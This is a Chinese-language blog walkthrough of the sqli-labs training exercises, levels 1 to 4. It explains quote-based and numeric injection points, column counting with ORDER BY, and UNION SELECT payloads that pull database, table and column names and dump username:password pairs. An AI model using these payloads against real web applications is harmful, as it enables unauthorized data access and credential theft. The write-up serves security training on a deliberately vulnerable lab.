sqli-labs闯关1-4

第一关:

这里的输入了 ?id=1

意思是以GET方式传入id=1的参数

就等于SELECT * FROM users WHERE id=1 LIMIT 0,1

注意:--+ 与-- 空格的区别 在url中输入了--+以后,后端数据会变成--空格。在 url中输入 -- 空格 变成 -- + 

在mysql中,#,--空格代表注释

寻找注入点:

可以从‘,” ,'),")入手

经过测试发现第一关的注入点是’

获取数据库字段名行数:可以根据order by

order by n  就意味着对第n列进行排序

先猜字段名为4

这个适合就可以继续缩小范围,猜3

发现正常显示,所以得出,列名为3

获取数据库名:

这里使用联合查询注入,因为它会显示查询的内容

?id=-1' union select 1,user(),database()--+

查询表名:

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();-- +

group_concat()是mysql的一个分组合并函数,通过这个函数可以把查询出来的表合并到一起现实,如果没有该函数,将返回第一行的内容:

查询列名:

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';-- +

加上库名的话,更详细

查询字段:

?id=-1' union select 1,2,group_concat(username,0x3a,password) from users;-- +

这里的0x3a是:的作用。帮助我们区分

第二关:

从报错信息上可以发现它可能是数字型注入

其他操作跟上面一样

第三关:

一样,先来判断是什么注入方式

先来单引号

从报错信息上可以发现可能是")和’)注入

但是测试发现“)后面的内容被过滤掉了,所以这是基于‘)的注入点

然后其他操作就跟上面一样了

第四关:

这次发现单引号不管用了

没事,试试双引号

Ok,发现需要有个括号,可能是’) 或者'')

不过根据上面输入单引号后没反应来看,多半是“)

先’)进行测试

可以看见数据库对‘)后面的内容进行了过滤,这肯定就不是注入点了

然后是”)

查询字段的操作跟上面一样

  • 5
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值